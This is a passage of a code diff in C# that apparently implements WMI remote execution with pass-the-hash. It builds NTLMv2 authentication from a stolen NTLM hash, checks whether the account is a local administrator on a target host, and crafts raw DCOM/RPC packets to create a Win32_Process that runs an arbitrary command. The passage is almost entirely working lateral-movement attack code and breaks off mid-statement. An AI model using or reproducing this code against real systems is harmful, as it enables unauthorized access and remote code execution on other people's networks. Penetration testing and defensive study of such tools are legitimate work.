AdminCheck) + { + output.AppendLine(String.Format("{0} is a local administrator on {1}", Output_Username, Target_Long)); + if (debug) { output.AppendLine("Exiting due to AdminCheck being set"); } + return output.ToString(); + } + else if (WMI_Client_Receive[2] == 2 && !AdminCheck) + { + if (debug) { output.AppendLine("Continuing since AdminCheck is false"); } + if (Target_Short == "127.0.0.1") + { + Target_Short = Auth_Hostname; + } + byte[] Target_Unicode = (new byte[] { 0x07, 0x00 }).Concat(Encoding.Unicode.GetBytes(Target_Short + "[")).ToArray(); + string Target_Search = BitConverter.ToString(Target_Unicode).Replace("-", ""); + string WMI_message = BitConverter.ToString(WMI_Client_Receive).Replace("-", ""); + int Target_Index = WMI_message.IndexOf(Target_Search); + + if (Target_Index < 1) + { + IPAddress[] Target_Address_List = Dns.GetHostEntry(Target_Long).AddressList; + foreach (IPAddress ip in Target_Address_List) + { + Target_Short = ip.Address.ToString(); + Target_Search = BitConverter.ToString(Target_Unicode).Replace("-", ""); + Target_Index = WMI_message.IndexOf(Target_Search); + + if (Target_Index >= 0) + { + break; + } + } + } + + if (Target_Index > 0) + { + int Target_Bytes_Index = Target_Index / 2; + byte[] WMI_Random_Port_Bytes = Utilities.GetByteRange(WMI_Client_Receive, Target_Bytes_Index + Target_Unicode.Length, Target_Bytes_Index + Target_Unicode.Length + 8); + WMI_Random_Port_String = BitConverter.ToString(WMI_Random_Port_Bytes); + int WMI_Random_Port_End_Index = WMI_Random_Port_String.IndexOf("-5D"); + if (WMI_Random_Port_End_Index > 0) + { + WMI_Random_Port_String = WMI_Random_Port_String.Substring(0, WMI_Random_Port_End_Index); + } + WMI_Random_Port_String = WMI_Random_Port_String.Replace("-00", "").Replace("-", ""); + char[] Random_Port_Char_Array = WMI_Random_Port_String.ToCharArray(); + char[] chars; + try + { + chars = new char[] { Random_Port_Char_Array[1], Random_Port_Char_Array[3], Random_Port_Char_Array[5], Random_Port_Char_Array[7], Random_Port_Char_Array[9] }; + } + catch + { + chars = new char[] { Random_Port_Char_Array[1], Random_Port_Char_Array[3], Random_Port_Char_Array[5], Random_Port_Char_Array[7] }; + } + WMI_Random_Port_Int = int.Parse(new string(chars)); + string Reverse = BitConverter.ToString(WMI_Client_Receive).Replace("-", ""); + int Reverse_Index = Reverse.IndexOf("4D454F570100000018AD09F36AD8D011A07500C04FB68820"); + int Reverse_Bytes_Index = Reverse_Index / 2; + byte[] OXID_bytes = Utilities.GetByteRange(WMI_Client_Receive, Reverse_Bytes_Index + 32, Reverse_Bytes_Index + 39); + IPID = Utilities.GetByteRange(WMI_Client_Receive, Reverse_Bytes_Index + 48, Reverse_Bytes_Index + 63); + OXID = BitConverter.ToString(OXID_bytes).Replace("-", ""); + OXID_Index = Reverse.IndexOf(OXID, Reverse_Index + 100); + OXID_Bytes_Index = OXID_Index / 2; + Object_UUID = Utilities.GetByteRange(WMI_Client_Receive, OXID_Bytes_Index + 12, OXID_Bytes_Index + 27); + } + if (WMI_Random_Port_Int != 0) + { + try + { + WMI_Client_Random_Port.Connect(Target_Long, WMI_Random_Port_Int); + } + catch + { + output.AppendLine(String.Format("{0}:{1} did not respond", Target_Long, WMI_Random_Port_Int)); + return output.ToString(); + } + } + else + { + output.AppendLine(String.Format("Random port extraction failure")); + return output.ToString(); + } + } + else + { + output.AppendLine("An Unkonwn Error Occured"); + return output.ToString(); + } + + if (WMI_Client_Random_Port.Connected) + { + if (debug) { output.AppendLine(String.Format("Connected to: {0} using port {1}", Target_Long, WMI_Random_Port_Int)); } + NetworkStream WMI_Client_Random_Port_Stream = WMI_Client_Random_Port.GetStream(); + Packet_RPC = WMIExec.RPCBind(2, new byte[] { 0xd0, 0x16 }, new byte[] { 0x03 }, new byte[] { 0x00, 0x00 }, new byte[] { 0x43, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 }, new byte[] { 0x00, 0x00 }); + Packet_RPC["RPCBind_FragLength"] = new byte[] { 0xd0, 0x00 }; + Packet_RPC["RPCBind_AuthLength"] = new byte[] { 0x28, 0x00 }; + Packet_RPC["RPCBind_NegotiateFlags"] = new byte[] { 0x97, 0x82, 0x08, 0xa2 }; + WMI_Client_Send = Utilities.ConvertFromPacketOrderedDictionary(Packet_RPC); + WMI_Client_Receive = Utilities.SendStream(WMI_Client_Random_Port_Stream, WMI_Client_Send); + Assoc_Group = Utilities.GetByteRange(WMI_Client_Receive, 20, 23); + WMI_NTLMSSP = BitConverter.ToString(WMI_Client_Receive).Replace("-", ""); + WMI_NTLMSSP_index = WMI_NTLMSSP.IndexOf("4E544C4D53535000"); + WMI_NTLMSSP_bytes_index = WMI_NTLMSSP_index / 2; + WMI_Domain_Length = Utilities.DataLength(WMI_NTLMSSP_bytes_index + 12, WMI_Client_Receive); + WMI_target_Length = Utilities.DataLength(WMI_NTLMSSP_bytes_index + 40, WMI_Client_Receive); + WMI_NTLM_Challenge = Utilities.GetByteRange(WMI_Client_Receive, WMI_NTLMSSP_bytes_index + 24, WMI_NTLMSSP_bytes_index + 31); + WMI_Target_Details = Utilities.GetByteRange(WMI_Client_Receive, WMI_NTLMSSP_bytes_index + 56 + WMI_Domain_Length, WMI_NTLMSSP_bytes_index + 55 + WMI_Domain_Length + WMI_target_Length); + WMI_Target_Time_Bytes = Utilities.GetByteRange(WMI_Target_Details, WMI_Target_Details.Length - 12, WMI_Target_Details.Length - 5); + sb = new StringBuilder(); + for (int i = 0; i < hash.Length - 1; i += 2) { sb.Append(hash.Substring(i, 2) + "-"); }; + NTLM_hash_bytes = (Utilities.ConvertStringToByteArray(hash.Replace("-", ""))); + Auth_Hostname = Environment.MachineName; + Auth_Hostname_Bytes = Encoding.Unicode.GetBytes(Auth_Hostname); + Auth_Domain_Bytes = Encoding.Unicode.GetBytes(domain); + Auth_Username_Bytes = Encoding.Unicode.GetBytes(username); + Auth_Domain_Length = BitConverter.GetBytes(Auth_Domain_Bytes.Length); + Auth_Domain_Length = new byte[] { Auth_Domain_Length[0], Auth_Domain_Length[1] }; + Auth_Username_Length = BitConverter.GetBytes(Auth_Username_Bytes.Length); + Auth_Username_Length = new byte[] { Auth_Username_Length[0], Auth_Username_Length[1] }; + Auth_Hostname_Length = BitConverter.GetBytes(Auth_Hostname_Bytes.Length); + Auth_Hostname_Length = new byte[] { Auth_Hostname_Length[0], Auth_Hostname_Length[1] }; + Auth_Domain_offset = new byte[] { 0x40, 0x00, 0x00, 0x00 }; + Auth_Username_Offset = BitConverter.GetBytes(Auth_Domain_Bytes.Length + 64); + Auth_Hostname_Offset = BitConverter.GetBytes(Auth_Domain_Bytes.Length + Auth_Username_Bytes.Length + 64); + Auth_LM_Offset = BitConverter.GetBytes(Auth_Domain_Bytes.Length + Auth_Username_Bytes.Length + Auth_Hostname_Bytes.Length + 64); + Auth_NTLM_Offset = BitConverter.GetBytes(Auth_Domain_Bytes.Length + Auth_Username_Bytes.Length + Auth_Hostname_Bytes.Length + 88); + HMAC_MD5 = new HMACMD5(); + HMAC_MD5.Key = NTLM_hash_bytes; + Username_And_Target = username.ToUpper(); + Username_Bytes = Encoding.Unicode.GetBytes(Username_And_Target); + Username_And_Target_bytes = Username_Bytes.Concat(Auth_Domain_Bytes).ToArray(); + NTLMv2_hash = HMAC_MD5.ComputeHash(Username_And_Target_bytes); + r = new Random(); + Client_Challenge_Bytes = new byte[8]; + r.NextBytes(Client_Challenge_Bytes); + + Security_Blob_Bytes = (new byte[] { 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }) + .Concat(WMI_Target_Time_Bytes) + .Concat(Client_Challenge_Bytes) + .Concat(new byte[] { 0x00, 0x00, 0x00, 0x00 }) + .Concat(WMI_Target_Details) + .Concat(new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }).ToArray(); + + Server_Challenge_And_Security_Blob_Bytes = WMI_NTLM_Challenge.Concat(Security_Blob_Bytes).ToArray(); + HMAC_MD5.Key = NTLMv2_hash; + NTLMv2_Response = HMAC_MD5.ComputeHash(Server_Challenge_And_Security_Blob_Bytes); + Session_Base_Key = HMAC_MD5.ComputeHash(NTLMv2_Response); + byte[] Clignt_Signing_Constant = new byte[] { 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x6b, 0x65, 0x79, 0x20, 0x74, 0x6f, 0x20, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x2d, 0x74, 0x6f, 0x2d, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x20, 0x73, 0x69, 0x67, 0x6e, 0x69, 0x6e, 0x67, 0x20, 0x6b, 0x65, 0x79, 0x20, 0x6d, 0x61, 0x67, 0x69, 0x63, 0x20, 0x63, 0x6f, 0x6e, 0x73, 0x74, 0x61, 0x6e, 0x74, 0x00 }; + MD5CryptoServiceProvider MD5_crypto = new MD5CryptoServiceProvider(); + byte[] Client_Signing_Key = MD5_crypto.ComputeHash(Session_Base_Key.Concat(Clignt_Signing_Constant).ToArray()); + NTLMv2_Response = NTLMv2_Response.Concat(Security_Blob_Bytes).ToArray(); + NTLMv2_Response_Length = BitConverter.GetBytes(NTLMv2_Response.Length); + NTLMv2_Response_Length = new byte[] { NTLMv2_Response_Length[0], NTLMv2_Response_Length[1] }; + WMI_Session_Key_Offset = BitConverter.GetBytes(Auth_Domain_Bytes.Length + Auth_Username_Bytes.Length + Auth_Hostname_Bytes.Length + NTLMv2_Response.Length + 88); + WMI_Session_Key_Length = new byte[] { 0x00, 0x00 }; + WMI_Negotiate_Flags = new byte[] { 0x15, 0x82, 0x88, 0xa2 }; + NTLMSSP_response = (new byte[] { 0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00, 0x03, 0x00, 0x00, 0x00, 0x18, 0x00, 0x18, 0x00 }) + .Concat(Auth_LM_Offset) + .Concat(NTLMv2_Response_Length) + .Concat(NTLMv2_Response_Length) + .Concat(Auth_NTLM_Offset) + .Concat(Auth_Domain_Length) + .Concat(Auth_Domain_Length) + .Concat(Auth_Domain_offset) + .Concat(Auth_Username_Length) + .Concat(Auth_Username_Length) + .Concat(Auth_Username_Offset) + .Concat(Auth_Hostname_Length) + .Concat(Auth_Hostname_Length) + .Concat(Auth_Hostname_Offset) + .Concat(WMI_Session_Key_Length) + .Concat(WMI_Session_Key_Length) + .Concat(WMI_Session_Key_Offset) + .Concat(WMI_Negotiate_Flags) + .Concat(Auth_Domain_Bytes) + .Concat(Auth_Username_Bytes) + .Concat(Auth_Hostname_Bytes) + .Concat(new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }) + .Concat(NTLMv2_Response).ToArray(); + + HMAC_MD5.Key = Client_Signing_Key; + Sequence_Number = new byte[] { 0x00, 0x00, 0x00, 0x00 }; + Packet_RPC = WMIExec.RPCAuth3(NTLMSSP_response); + Packet_RPC["RPCAUTH3_CallID"] = new byte[] { 0x02, 0x00, 0x00, 0x00 }; + Packet_RPC["RPCAUTH3_AuthLevel"] = new byte[] { 0x04 }; + WMI_Client_Send = Utilities.ConvertFromPacketOrderedDictionary(Packet_RPC); + WMI_Client_Random_Port_Stream.Write(WMI_Client_Send, 0, WMI_Client_Send.Length); + WMI_Client_Random_Port_Stream.Flush(); + + Packet_RPC = WMIExec.RPCRequest(new byte[] { 0x83 }, 76, 16, 4, new byte[] { 0x02, 0x00, 0x00, 0x00 }, new byte[] { 0x00, 0x00 }, new byte[] { 0x03, 0x00 }, Object_UUID); + OrderedDictionary Packet_Rem_Query_Interface = WMIExec.DCOMRemQueryInterface(Causality_ID_Bytes, IPID, new byte[] { 0xd6, 0x1c, 0x78, 0xd4, 0xd3, 0xe5, 0xdf, 0x44, 0xad, 0x94, 0x93, 0x0e, 0xfe, 0x48, 0xa8, 0x87 }); + OrderedDictionary Packet_NTLMSSP_Verifier = WMIExec.NTLMSSPVerifier(4, new byte[] { 0x04 }, Sequence_Number); + byte[] Rem_Query_Interface = Utilities.ConvertFromPacketOrderedDictionary(Packet_Rem_Query_Interface); + byte[] NTLMSSP_Verifier = Utilities.ConvertFromPacketOrderedDictionary(Packet_NTLMSSP_Verifier); + HMAC_MD5.Key = Client_Signing_Key; + byte[] RPC_Sign = Sequence_Number.Concat(Utilities.ConvertFromPacketOrderedDictionary(Packet_RPC)) + .Concat(Rem_Query_Interface) + .Concat(Utilities.GetByteRange(NTLMSSP_Verifier, 0, 11)).ToArray(); + + byte[] RPC_Signature = HMAC_MD5.ComputeHash(RPC_Sign); + RPC_Signature = Utilities.GetByteRange(RPC_Signature, 0, 7); + Packet_NTLMSSP_Verifier["NTLMSSPVerifier_NTLMSSPVerifierChecksum"] = RPC_Signature; + NTLMSSP_Verifier = Utilities.ConvertFromPacketOrderedDictionary(Packet_NTLMSSP_Verifier); + + WMI_Client_Send = Utilities.ConvertFromPacketOrderedDictionary(Packet_RPC) + .Concat(Rem_Query_Interface) + .Concat(NTLMSSP_Verifier).ToArray(); + + WMI_Client_Receive = Utilities.SendStream(WMI_Client_Random_Port_Stream, WMI_Client_Send); + + if (WMI_Client_Receive[2] == 3 && BitConverter.ToString(Utilities.GetByteRange(WMI_Client_Receive, 24, 27)) == "05-00-00-00") + { + output.AppendLine(String.Format("{0} WMI access denied on {1}", Output_Username, Target_Long)); + return output.ToString(); + } + else if (WMI_Client_Receive[2] == 3 && BitConverter.ToString(Utilities.GetByteRange(WMI_Client_Receive, 24, 27)) != "05-00-00-00") + { + string Error_Code = BitConverter.ToString(new byte[] { WMI_Client_Receive[27], WMI_Client_Receive[26], WMI_Client_Receive[25], WMI_Client_Receive[24] }); + string[] Error_Code_Array = Error_Code.Split('-'); + Error_Code = string.Join("", Error_Code_Array); + output.AppendLine(String.Format("Error Code: 0x{0}", Error_Code.ToString())); + return output.ToString(); + } + else if (WMI_Client_Receive[2] == 2) + { + WMI_Data = BitConverter.ToString(WMI_Client_Receive).Replace("-", ""); + OXID_Index = WMI_Data.IndexOf(OXID); + OXID_Bytes_Index = OXID_Index / 2; + Object_UUID2 = Utilities.GetByteRange(WMI_Client_Receive, OXID_Bytes_Index + 16, OXID_Bytes_Index + 31); + WMI_Client_Stage = "AlterContext"; + } + else + { + output.AppendLine("An Unkonwn Error Occured"); + return output.ToString(); + } + + //Moving on to Command Execution + int Request_Split_Index = 5500; + string WMI_Client_Stage_Next = ""; + bool Request_Split = false; + + while (WMI_Client_Stage != "exit") + { + if (debug) { output.AppendLine(WMI_Client_Stage); } + if (WMI_Client_Receive[2] == 3) + { + string Error_Code = BitConverter.ToString(new byte[] { WMI_Client_Receive[27], WMI_Client_Receive[26], WMI_Client_Receive[25], WMI_Client_Receive[24] }); + string[] Error_Code_Array = Error_Code.Split('-'); + Error_Code = string.Join("", Error_Code_Array); + output.AppendLine(String.Format("Execution failed with error code: 0x{0}", Error_Code.ToString())); + WMI_Client_Stage = "exit"; + } + + switch (WMI_Client_Stage) + { + case "AlterContext": + { + switch (Sequence_Number[0]) + { + case 0: + { + Alter_Context_Call_ID = new byte[] { 0x03, 0x00, 0x00, 0x00 }; + Alter_Context_Context_ID = new byte[] { 0x02, 0x00 }; + Alter_Context_UUID = new byte[] { 0xd6, 0x1c, 0x78, 0xd4, 0xd3, 0xe5, 0xdf, 0x44, 0xad, 0x94, 0x93, 0x0e, 0xfe, 0x48, 0xa8, 0x87 }; + WMI_Client_Stage_Next = "Request"; + } + break; + case 1: + { + Alter_Context_Call_ID = new byte[] { 0x04, 0x00, 0x00, 0x00 }; + Alter_Context_Context_ID = new byte[] { 0x03, 0x00 }; + Alter_Context_UUID = new byte[] { 0x18, 0xad, 0x09, 0xf3, 0x6a, 0xd8, 0xd0, 0x11, 0xa0, 0x75, 0x00, 0xc0, 0x4f, 0xb6, 0x88, 0x20 }; + WMI_Client_Stage_Next = "Request"; + } + break; + case 6: + { + Alter_Context_Call_ID = new byte[] { 0x09, 0x00, 0x00, 0x00 }; + Alter_Context_Context_ID = new byte[] { 0x04, 0x00 }; + Alter_Context_UUID = new byte[] { 0x99, 0xdc, 0x56, 0x95, 0x8c, 0x82, 0xcf, 0x11, 0xa3, 0x7e, 0x00, 0xaa, 0x00, 0x32, 0x40, 0xc7 }; + WMI_Client_Stage_Next = "Request"; + } + break; + } + Packet_RPC = WMIExec.RPCAlterContext(Assoc_Group, Alter_Context_Call_ID, Alter_Context_Context_ID, Alter_Context_UUID); + WMI_Client_Send = Utilities.ConvertFromPacketOrderedDictionary(Packet_RPC); + WMI_Client_Receive = Utilities.SendStream(WMI_Client_Random_Port_Stream, WMI_Client_Send); + WMI_Client_Stage = WMI_Client_Stage_Next; + } + break; + case "Request": + { + switch (Sequence_Number[0]) + { + case 0: + { + Sequence_Number = new byte[] { 0x01, 0x00, 0x00, 0x00 }; + Request_Flags = new byte[] { 0x83 }; + Request_Auth_Padding = 12; + Request_Call_ID = new byte[] { 0x03, 0x00, 0x00, 0x00 }; + Request_Context_ID = new byte[] { 0x02, 0x00 }; + Request_Opnum = new byte[] { 0x03, 0x00 }; + Request_UUID = Object_UUID2; + Hostname_Length = BitConverter.GetBytes(Auth_Hostname.Length + 1); + WMI_Client_Stage_Next = "AlterContext"; + + if (Convert.ToBoolean(Auth_Hostname.Length % 2)) + { + Auth_Hostname_Bytes = Auth_Hostname_Bytes.Concat(new byte[] { 0x00, 0x00 }).ToArray(); + } + else + { + Auth_Hostname_Bytes = Auth_Hostname_Bytes.Concat(new byte[] { 0x00, 0x00, 0x00, 0x00 }).ToArray(); + } + + Stub_Data = (new byte[] { 0x05, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }) + .Concat(Causality_ID_Bytes) + .Concat(new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00 }) + .Concat(Hostname_Length) + .Concat(new byte[] { 0x00, 0x00, 0x00, 0x00 }) + .Concat(Hostname_Length) + .Concat(Auth_Hostname_Bytes) + .Concat(Process_ID_Bytes) + .Concat(new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }).ToArray(); + } + break; + case 1: + { + Sequence_Number = new byte[] { 0x02, 0x00, 0x00, 0x00 }; + Request_Flags = new byte[] { 0x83 }; + Request_Auth_Padding = 8; + Request_Call_ID = new byte[] { 0x04, 0x00, 0x00, 0x00 }; + Request_Context_ID = new byte[] { 0x03, 0x00 }; + Request_Opnum = new byte[] { 0x03, 0x00 }; + Request_UUID = IPID; + WMI_Client_Stage_Next = "Request"; + Stub_Data = (new byte[] { 0x05, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }) + .Concat(Causality_ID_Bytes) + .Concat(new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }).ToArray(); + } + break; + case 2: + { + Sequence_Number = new byte[] { 0x03, 0x00, 0x00, 0x00 }; + Request_Flags = new byte[] { 0x83 }; + Request_Auth_Padding = 0; + Request_Call_ID = new byte[] { 0x05, 0x00, 0x00, 0x00 }; + Request_Context_ID = new byte[] { 0x03, 0x00 }; + Request_Opnum = new byte[] { 0x06, 0x00 }; + Request_UUID = IPID; + WMI_Namespace_Length = BitConverter.GetBytes(Target_Short.Length + 14); + WMI_Namespace_Unicode = Encoding.Unicode.GetBytes("\\\\" + Target_Short + "\\root\\cimv2"); + WMI_Client_Stage_Next = "Request"; + + if (Convert.ToBoolean(Target_Short.Length % 2)) + { + WMI_Namespace_Unicode = WMI_Namespace_Unicode.Concat(new byte[] { 0x00, 0x00, 0x00, 0x00 }).ToArray(); + } + else + { + WMI_Namespace_Unicode = WMI_Namespace_Unicode.Concat(new byte[] { 0x00, 0x0 }).ToArray(); + + } + + Stub_Data = (new byte[] { 0x05, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }) + .Concat(Causality_ID_Bytes) + .Concat(new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00 }) + .Concat(WMI_Namespace_Length) + .Concat(new byte[] { 0x00, 0x00, 0x00, 0x00 }) + .Concat(WMI_Namespace_Length) + .Concat(WMI_Namespace_Unicode) + .Concat(new byte[] { 0x04, 0x00, 0x02, 0x00, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x65, 0x00, 0x6e, 0x00, 0x2d, 0x00, 0x55, 0x00, 0x53, 0x00, 0x2c, 0x00, 0x65, 0x00, 0x6e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }).ToArray(); + + } + break; + case 3: + { + Sequence_Number = new byte[] { 0x04, 0x00, 0x00, 0x00 }; + Request_Flags = new byte[] { 0x83 }; + Request_Auth_Padding = 8; + Request_Context_ID = new byte[] { 0x00, 0x00 }; + Request_Call_ID = new byte[] { 0x06, 0x00, 0x00, 0x00 }; + Request_Opnum = new byte[] { 0x05, 0x00 }; + Request_UUID = Object_UUID; + WMI_Client_Stage_Next = "Request"; + WMI_Data = BitConverter.ToString(WMI_Client_Receive).Replace("-", ""); + OXID_Index = WMI_Data.IndexOf(OXID); + OXID_Bytes_Index = OXID_Index / 2; + IPID2 = Utilities.GetByteRange(WMI_Client_Receive, OXID_Bytes_Index + 16, OXID_Bytes_Index + 31); + OrderedDictionary Packet_rem_release = WMIExec.DCOMRemRelease(Causality_ID_Bytes, Object_UUID2, IPID); + Stub_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_rem_release); + } + break; + case 4: + { + Sequence_Number = new byte[] { 0x05, 0x00, 0x00, 0x00 }; + Request_Flags = new byte[] { 0x83 }; + Request_Auth_Padding = 4; + Request_Context_ID = new byte[] { 0x00, 0x00 }; + Request_Call_ID = new byte[] { 0x07, 0x00, 0x00, 0x00 }; + Request_Opnum = new byte[] { 0x03, 0x00 }; + Request_UUID = Object_UUID; + WMI_Client_Stage_Next = "Request"; + Packet_Rem_Query_Interface = WMIExec.DCOMRemQueryInterface(Causality_ID_Bytes, IPID2, new byte[] { 0x9e, 0xc1, 0xfc, 0xc3, 0x70, 0xa9, 0xd2, 0x11, 0x8b, 0x5a, 0x00, 0xa0, 0xc9, 0xb7, 0xc9, 0xc4 }); + Stub_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_Rem_Query_Interface); + + + } + break; + case 5: + { + Sequence_Number = new byte[] { 0x06, 0x00, 0x00, 0x00 }; + Request_Flags = new byte[] { 0x83 }; + Request_Auth_Padding = 4; + Request_Call_ID = new byte[] { 0x08, 0x00, 0x00, 0x00 }; + Request_Context_ID = new byte[] { 0x00, 0x00 }; + Request_Opnum = new byte[] { 0x03, 0x00 }; + Request_UUID = Object_UUID; + WMI_Client_Stage_Next = "AlterContext"; + Packet_Rem_Query_Interface = WMIExec.DCOMRemQueryInterface(Causality_ID_Bytes, IPID2, new byte[] { 0x83, 0xb2, 0x96, 0xb1, 0xb4, 0xba, 0x1a, 0x10, 0xb6, 0x9c, 0x00, 0xaa, 0x00, 0x34, 0x1d, 0x07 }); + Stub_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_Rem_Query_Interface); + } + break; + case 6: + { + Sequence_Number = new byte[] { 0x07, 0x00, 0x00, 0x00 }; + Request_Flags = new byte[] { 0x83 }; + Request_Auth_Padding = 0; + Request_Context_ID = new byte[] { 0x04, 0x00 }; + Request_Call_ID = new byte[] { 0x09, 0x00, 0x00, 0x00 }; + Request_Opnum = new byte[] { 0x06, 0x00 }; + Request_UUID = IPID2; + WMI_Client_Stage_Next = "Request"; + + Stub_Data = (new byte[] { 0x05, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }) + .Concat(Causality_ID_Bytes) + .Concat(new byte[] { 0x00, 0x00, 0x00, 0x00, 0x55, 0x73, 0x65, 0x72, 0x0d, 0x00, 0x00, 0x00, 0x1a, 0x00, 0x00, 0x00, 0x0d, 0x00, 0x00, 0x00, 0x77, 0x00, 0x69, 0x00, 0x6e, 0x00, 0x33, 0x00, 0x32, 0x00, 0x5f, 0x00, 0x70, 0x00, 0x72, 0x00, 0x6f, 0x00, 0x63, 0x00, 0x65, 0x00, 0x73, 0x00, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }).ToArray(); + } + break; + case 7: + { + Sequence_Number = new byte[] { 0x08, 0x00, 0x00, 0x00 }; + Request_Flags = new byte[] { 0x83 }; + Request_Auth_Padding = 0; + Request_Context_ID = new byte[] { 0x04, 0x00 }; + Request_Call_ID = new byte[] { 0x10, 0x00, 0x00, 0x00 }; + Request_Opnum = new byte[] { 0x06, 0x00 }; + Request_UUID = IPID2; + WMI_Client_Stage_Next = "Request"; + + Stub_Data = (new byte[] { 0x05, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }) + .Concat(Causality_ID_Bytes) + .Concat(new byte[] { 0x00, 0x00, 0x00, 0x00, 0x55, 0x73, 0x65, 0x72, 0x0d, 0x00, 0x00, 0x00, 0x1a, 0x00, 0x00, 0x00, 0x0d, 0x00, 0x00, 0x00, 0x77, 0x00, 0x69, 0x00, 0x6e, 0x00, 0x33, 0x00, 0x32, 0x00, 0x5f, 0x00, 0x70, 0x00, 0x72, 0x00, 0x6f, 0x00, 0x63, 0x00, 0x65, 0x00, 0x73, 0x00, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }).ToArray(); + } + break; + default: + { + if (Sequence_Number[0] >= 8) + { + Sequence_Number = new byte[] { 0x09, 0x00, 0x00, 0x00 }; + Request_Auth_Padding = 0; + Request_Context_ID = new byte[] { 0x04, 0x00 }; + Request_Call_ID = new byte[] { 0x0b, 0x00, 0x00, 0x00 }; + Request_Opnum = new byte[] { 0x18, 0x00 }; + Request_UUID = IPID2; + byte[] Stub_Length = Utilities.GetByteRange(BitConverter.GetBytes(command.Length + 1769), 0, 1); + byte[] Stub_Length2 = Utilities.GetByteRange(BitConverter.GetBytes(command.Length + 1727), 0, 1); ; + byte[] Stub_Length3 = Utilities.GetByteRange(BitConverter.GetBytes(command.Length + 1713), 0, 1); + byte[] Command_Length = Utilities.GetByteRange(BitConverter.GetBytes(command.Length + 93), 0, 1); + byte[] Command_Length2 = Utilities.GetByteRange(BitConverter.GetBytes(command.Length + 16), 0, 1); + byte[] Command_Bytes = Encoding.UTF8.GetBytes(command); + + string Command_Padding_Check = Convert.ToString(Decimal.Divide(command.Length, 4)); + if (Command_Padding_Check.Contains(".75")) + { + Command_Bytes = Command_Bytes.Concat(new byte[] { 0x00 }).ToArray(); + } + else if (Command_Padding_Check.Contains(".5")) + { + Command_Bytes = Command_Bytes.Concat(new byte[] { 0x00, 0x00 }).ToArray(); + } + else if (Command_Padding_Check.Contains(".25")) + { + Command_Bytes = Command_Bytes.Concat(new byte[] { 0x00, 0x00, 0x00 }).ToArray(); + } + else + { + Command_Bytes = Command_Bytes.Concat(new byte[] { 0x00, 0x00, 0x00, 0x00 }).ToArray(); + } + + Stub_Data = (new byte[] { 0x05, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }) + .Concat(Causality_ID_Bytes) + .Concat(new byte[] { 0x00, 0x00, 0x00, 0x00, 0x55, 0x73, 0x65, 0x72, 0x0d, 0x00, 0x00, 0x00, 0x1a, 0x00, 0x00, 0x00, 0x0d, 0x00, 0x00, 0x00, 0x57, 0x00, 0x69, 0x00, 0x6e, 0x00, 0x33, 0x00, 0x32, 0x00, 0x5f, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6f, 0x00, 0x63, 0x00, 0x65, 0x00, 0x73, 0x00, 0x73, 0x00, 0x00, 0x00, 0x55, 0x73, 0x65, 0x72, 0x06, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x63, 0x00, 0x72, 0x00, 0x65, 0x00, 0x61, 0x00, 0x74, 0x00, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00 }) + .Concat(Stub_Length) + .Concat(new byte[] { 0x00, 0x00 }) + .Concat(Stub_Length) + .Concat(new byte[] { 0x00, 0x00, 0x4d, 0x45, 0x4f, 0x57, 0x04, 0x00, 0x00, 0x00, 0x81, 0xa6, 0x12, 0xdc, 0x7f, 0x73, 0xcf, 0x11, 0x88, 0x4d, 0x00, 0xaa, 0x00, 0x4b, 0x2e, 0x24, 0x12, 0xf8, 0x90, 0x45, 0x3a, 0x1d, 0xd0, 0x11, 0x89, 0x1f, 0x00, 0xaa, 0x00, 0x4b, 0x2e, 0x24, 0x00, 0x00, 0x00, 0x00 }) + .Concat(Stub_Length2) + .Concat(new byte[] { 0x00, 0x00, 0x78, 0x56, 0x34, 0x12 }) + .Concat(Stub_Length3) + .Concat(new byte[] { 0x00, 0x00, 0x02, 0x53, 0x06, 0x00, 0x00, 0x00, 0x00, 